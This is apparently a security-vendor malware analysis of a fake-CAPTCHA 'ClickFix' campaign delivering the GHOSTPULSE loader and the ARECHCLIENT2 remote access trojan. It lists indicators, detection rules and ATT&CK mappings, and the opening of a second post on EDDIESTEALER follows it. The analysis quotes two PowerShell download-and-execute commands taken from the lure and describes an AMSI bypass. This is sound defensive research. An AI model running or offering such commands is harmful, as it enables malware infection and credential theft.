<p>At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless &quot;fix&quot; (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.</p>
<p>ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting &quot;verification fatigue&quot; – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent &quot;fix it&quot; button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes <strong>ClickFix</strong> an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.</p>
<p>Our recent Elastic Security research on <strong><a href="https://www.elastic.co/fr/security-labs/eddiestealer">EDDIESTEALER</a></strong> provides another concrete example of <strong>ClickFix</strong>'s efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.</p>
<p>Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.</p>
<h2>A ClickFix Campaign's Journey to ARECHCLIENT2</h2>
<p>The <strong>ClickFix</strong> technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a <strong>ClickFix</strong> lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hijackloader">GHOSTPULSE</a></strong> Loader (also known as <strong>HIJACKLOADER</strong>, <strong>IDATLOADER</strong>). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an <strong><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat">ARECHCLIENT2</a></strong> (<strong>SECTOPRAT</strong>) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image16.png" alt="Execution flow" title="Execution flow" /></p>
<p>We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image6.png" alt="Execution flow in Kibana" title="Execution flow in Kibana" /></p>
<h2>Technical analysis of the infection</h2>
<p>The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.</p>
<p>We observed two infrastructures (both resolving to <code>50.57.243[.]90</code>) <code>https://clients[.]dealeronlinemarketing[[.]]com/captcha/</code> and <code>https://clients[.]contology[.]com/captcha/</code> that deliver the same initial payload.</p>
<p>User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (<a href="https://www.elastic.co/fr/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">2023 and</a> <a href="https://www.elastic.co/fr/security-labs/tricks-and-treats">2024</a>) provided a detailed look into its initial capabilities.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image12.png" alt="Fake captcha hosted by contology[.]com" title="Fake captcha hosted by contology[]].com" /></p>
<p>The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image20.png" alt="Obfuscated JavaScript of the captcha page" title="Obfuscated JavaScript of the captcha page" /></p>
<p>Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox <code>Verify you are human.</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image26.png" alt="HTML code of the captcha page" title="HTML code of the captcha page" /></p>
<p>A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, <code>runClickedCheckboxEffects</code>, retrieves the public IP address of the machine by querying <code>https://api.ipify[.]org?format=json,</code> then it sends the IP address to the attacker’s infrastructure,  <code>https://koonenmagaziner[.]click/counter/&amp;lt;IP_address&gt;,</code> to log the infection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image19.png" alt="JavaScript of the captcha page" title="JavaScript of the captcha page" /></p>
<p>The second function copies a base64-encoded PowerShell command to the clipboard.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image11.png" alt="Command copied to the clipboard by the JavaScript script" title="Command copied to the clipboard by the JavaScript script" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image25.png" alt="PowerShell command copied to the clipboard" title="PowerShell command copied to the clipboard" /></p>
<p>Which is the following when it is base64 decoded</p>
<pre><code class="language-powershell">(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex
</code></pre>
<p>When executed, it fetches the following PowerShell script:</p>
<pre><code class="language-powershell">Invoke-WebRequest -Uri &quot;https://bitly[.]cx/iddD&quot; -OutFile 
    &quot;$env:TEMP\ComponentStyle.zip&quot;; Expand-Archive -Path 
    &quot;$env:TEMP/ComponentStyle.zip&quot; -DestinationPath 
    &quot;$env:TEMP&quot;; &amp; &quot;$env:TEMP\crystall\Crysta_x86.exe&quot;
</code></pre>
<p>The observed infection process for this campaign involves <strong>GHOSTPULSE</strong>'s deployment as follows: After the user executes the PowerShell command copied by <strong>ClickFix</strong>, the initial script fetches and runs additional <strong>commands</strong>. These PowerShell <strong>commands</strong> download a ZIP file (<code>ComponentStyle.zip</code>) from a remote location and then extract it into a temporary directory on the victim's system.</p>
<p>Extracted contents include components for <strong>GHOSTPULSE</strong>, specifically a benign executable (<code>Crysta_X64.exe</code>) and a malicious dynamic-link library (<code>DllXDownloadManager.dll</code>). This setup utilizes <strong>DLL sideloading</strong>, a technique in which the legitimate executable loads the malicious <strong>DLL</strong>. The file (<code>Heeschamjet.rc</code>) is the <strong>IDAT</strong> file that contains the next stage's payloads in an encrypted format</p>
<p>and the file <code>Shonomteak.bxi,</code> which is encrypted and used by the loader to fetch the stage 2 and configuration structure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image23.png" alt="Content of ComponentStyle.zip" title="Content of ComponentStyle.zip" /></p>
<h2>GHOSTPULSE</h2>
<h3>Stage 1</h3>
<p><strong>GHOSTPULSE</strong> is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in <a href="https://www.elastic.co/fr/security-labs/tricks-and-treats">Elastic’s 2024 research blog post</a>, and new modules from <a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">Zscaler research</a>.</p>
<p>The malware used in this campaign was shipped with an additional encrypted file named <code>Shonomteak.bxi</code>. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image5.png" alt="Decryption of Shonomteak.bxi file" title="Decryption of Shonomteak.bxi file" /></p>
<p>The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the <code>LibraryLoadA</code> function. The library name is stored in the same decrypted file; in our case, it is <code>vssapi.dll</code>.</p>
<p>The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted <code>Shonomteak.bxi,</code> and a boolean field <code>b_detect_process</code> set to <code>True</code> in our case.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image14.png" alt="Structure used in stage 2" title="Structure used in stage 2" /></p>
<h3>Stage 2</h3>
<p>When the boolean field <code>b_detect_process</code> is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image13.png" alt="Delays execution by 5 seconds" title="Delays execution by 5 seconds" /></p>
<p>In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in <code>Shonomteak.bxi,</code> including:</p>
<ul>
<li>Hashes for the DLL names and Windows APIs</li>
<li>IDAT tag: used to find the start of the encrypted data in the PNG file</li>
<li>IDAT string: Which is simply “IDAT”</li>
<li>Hashes of processes to scan for</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image4.png" alt="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" title="API fetching hashes stored in GHOSTPULSE configuration rather than hardcoded" /></p>
<h3>Final thoughts on GHOSTPULSE</h3>
<p>GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.</p>
<p>Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image17.png" alt="Payload extraction from the GHOSTPULSE sample" title="Payload extraction from the GHOSTPULSE sample" /></p>
<h2>ARECHCLIENT2</h2>
<p>In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially <a href="https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers">identified in November 2019</a> and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.</p>
<p>The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.</p>
<p>The loader goes through 3 steps:</p>
<ul>
<li>Patching AMSI</li>
<li>Extracting and decrypting the payload</li>
<li>Loading the CLR, then reflectively loading ARECHCLIENT2</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image22.png" alt="Main entry of the .NET loader" title="Main entry of the .NET loader" /></p>
<p>Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the <code>MessageBoxA</code> API, for example, when failing to find the <code>.tls</code> section, an error message box with the string <code>&quot;D1&quot;</code> is displayed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image18.png" alt="Debugging/error messages through a message box" title="Debugging/error messages through a message box" /></p>
<p>The following is a table of all the error messages and their description:</p>
<table>
<thead>
<tr>
<th align="center">Message</th>
<th align="center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">F1</td>
<td align="center"><code>LoadLibraryExW</code> hooking failed</td>
</tr>
<tr>
<td align="center">F2</td>
<td align="center">AMSI patching failed</td>
</tr>
<tr>
<td align="center">D1</td>
<td align="center">Unable to find <code>.tls</code> section</td>
</tr>
<tr>
<td align="center">W2</td>
<td align="center">Failed to load CLR</td>
</tr>
</tbody>
</table>
<p>The malware sets up a hook on the <code>LoadLibraryExW</code> API. This hook waits for <code>amsi.dll</code> to be loaded, then sets another hook on <code>AmsiScanBuffer 0</code>, effectively bypassing AMSI.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image2.png" alt="Hooking LoadLibraryExW" title="Hooking LoadLibraryExW" /></p>
<p>After this, the loader fetches the pointer in memory to the <code>.tls</code> section by parsing the PE headers. The first <code>0x40</code> bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image7.png" alt="Payload decryption routine" title="Payload decryption routine" /></p>
<p>Finally, it loads the .NET Common Language Runtime (CLR) in memory with <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function">CLRCreateInstance</a> Windows API before reflectively loading ARECHCLIENT2. The following is an <a href="https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2">example </a>of how it is performed.</p>
<p>ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:</p>
<ul>
<li><strong>Credential and Financial Theft:</strong> ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image9.png" alt="DNSPY view of the StealerSettingConfigParce class" title="DNSPY view of the StealerSettingConfigParce class" /></p>
<ul>
<li><strong>System Profiling and Reconnaissance:</strong> ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image3.png" alt="DNSPY view of ScanResult class" title="DNSPY view of ScanResult class" /></p>
<ul>
<li><strong>Command Execution:</strong> ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.</li>
</ul>
<p>The <strong>ARECHCLIENT2</strong> malware connects to its C2 <code>144.172.97[.]2,</code> which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (<code>143.110.230[.]167</code>) IP from a hardcoded pastebin link <code>https://pastebin[.]com/raw/Wg8DHh2x</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image21.png" alt="ARECHCLIENT2 configuration from DNSPY" title="ARECHCLIENT2 configuration from DNSPY" /></p>
<h2>Infrastructure analysis</h2>
<p>The malicious captcha page was hosted under two domains <code>clients.dealeronlinemarketing[.]com</code> and <code>clients.contology[.]com</code> under the URI <code>/captcha</code> and <code>/Client</code> pointing to the following IP address <code>50.57.243[.]90</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image10.png" alt="" /></p>
<p>We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.</p>
<p>We assess that the attacker has likely compromised the server <code>50.57.243[.]90</code> and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.</p>
<p>Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (<code>143.110.230[.]167</code> and <code>144.172.97[.]2</code>) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.</p>
<p>Pivoting on a shared banner hash (<a href="https://x.com/ValidinLLC">@ValidinLLC</a>’s <code>HOST-BANNER_0_HASH</code>, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT&quot; (aka ARECHCLIENT2) as documented in the <a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/sectoprat.txt">Maltrail repo</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image24.png" alt="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" title="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" /></p>
<p>Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.</p>
<p>All these servers have similar configurations:</p>
<ul>
<li>Running Canonical Linux</li>
<li>SSH on <code>22</code></li>
<li>Unknown TCP on <code>443</code></li>
<li>Nginx HTTP on <code>8080</code>, and</li>
<li>HTTP on <code>9000</code> (C2 port)</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/image8.png" alt="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" title="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" /></p>
<p>The service on port <code>9000</code> has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.</p>
<p>ARECHCLIENT2 IOC:</p>
<ul>
<li><code>HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20</code></li>
</ul>
<p>This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>First Seen</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>66.63.187.22</code></td>
<td>2025-06-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.94.47.164</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>84.200.17.129</code></td>
<td>2025-06-04</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.255.225</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.77.154.115</code></td>
<td>2025-06-05</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.94.120</code></td>
<td>2025-05-20</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>79.124.62.10</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.242.178</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>195.82.147.132</code></td>
<td>2025-04-10</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>62.60.247.154</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>91.199.163.74</code></td>
<td>2025-04-03</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>172.86.72.81</code></td>
<td>2025-03-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.24.67</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>143.110.230.167</code></td>
<td>2025-06-08</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.80</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>85.158.110.179</code></td>
<td>2025-05-11</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.101.228</code></td>
<td>2025-05-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>192.124.178.244</code></td>
<td>2025-06-01</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.18.56</code></td>
<td>2025-04-27</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>194.87.29.62</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.63</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>193.149.176.31</code></td>
<td>2025-06-08</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.87.249</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>176.126.163.56</code></td>
<td>2025-05-06</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>185.156.72.71</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>91.184.242.37</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.86.159</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>67.220.72.124</code></td>
<td>2025-06-05</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.118.248.29</code></td>
<td>2025-01-28</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>172.105.148.233</code></td>
<td>2025-06-03</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>194.26.27.10</code></td>
<td>2025-05-06</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>45.141.87.212</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.149</code></td>
<td>2025-05-15</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>172.235.190.176</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.82</code></td>
<td>2024-12-13</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.87.7</code></td>
<td>2025-05-13</td>
<td>2025-06-06</td>
</tr>
<tr>
<td><code>185.125.50.140</code></td>
<td>2025-04-06</td>
<td>2025-06-03</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the <strong>GHOSTPULSE</strong> loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident <strong>ARECHCLIENT2</strong> payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.</p>
<h3>MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Spearphishing Link</a> <a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious File</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscation/Decoding</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1073/">DLL Sideloading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Interaction</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
</ul>
<h2>Detecting [malware]</h2>
<h3>Detection</h3>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml">Library Load of a File Written by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
</ul>
<h4>YARA</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows_Trojan_GhostPulse</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_Arechclient2.yar">Windows_Trojan_Arechclient2 </a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>clients.dealeronlinemarketing[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>clients.contology[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>koonenmagaziner[.]click</code></td>
<td>domain</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>50.57.243[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td><code>clients.dealeronlinemarketing[.]com</code> &amp; <code>clients.contology[.]com</code> IP address</td>
</tr>
<tr>
<td><code>144.172.97[.]2</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>143.110.230[.]167</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>pastebin[.]com/raw/Wg8DHh2x</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Contains ARECHCLIENT2 C&amp;C server IP</td>
</tr>
<tr>
<td><code>2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a</code></td>
<td>SHA-256</td>
<td><code>DivXDownloadManager.dll</code></td>
<td>GHOSTPULSE</td>
</tr>
<tr>
<td><code>a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90</code></td>
<td>SHA-256</td>
<td><code>Heeschamjiet.rc</code></td>
<td>PNG GHOSTPULSE</td>
</tr>
<tr>
<td><code>f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55</code></td>
<td>SHA-256</td>
<td></td>
<td>DOTNET LOADER</td>
</tr>
<tr>
<td><code>4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9</code></td>
<td>SHA-256</td>
<td></td>
<td>ARECHCLIENT2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/SI_FalconTeam/status/1915790796948643929">https://x.com/SI_FalconTeam/status/1915790796948643929</a></li>
<li><a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/a-wretch-client/a-wretch-client.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Chasing Eddies: New Rust-based InfoStealer used in CAPTCHA campaigns]]></title>
            <link>https://www.elastic.co/fr/security-labs/eddiestealer</link>
            <guid>eddiestealer</guid>
            <pubDate>Fri, 30 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs walks through EDDIESTEALER, a lightweight commodity infostealer used in emerging CAPTCHA-based campaigns.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.</p>
<p>This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image9.png" alt="EDDIESTEALER’s execution chain" title="EDDIESTEALER’s execution chain" /></p>
<h2>Key takeaways</h2>
<ul>
<li>Fake CAPTCHA campaign loads EDDIESTEALER</li>
<li>EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts</li>
<li>EDDIESTEALER receives a task list from the C2 server identifying data to target</li>
</ul>
<h2>Intial access</h2>
<h3>Overview</h3>
<p>Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like &quot;Verify you are a human&quot; or &quot;I'm not a robot,&quot; blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing <a href="https://www.elastic.co/fr/security-labs/tricks-and-treats">GHOSTPULSE</a> in late 2024.</p>
<p>From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/image36.png" alt="Fake CAPTCHA GUI" title="Fake CAPTCHA GUI" /></p>
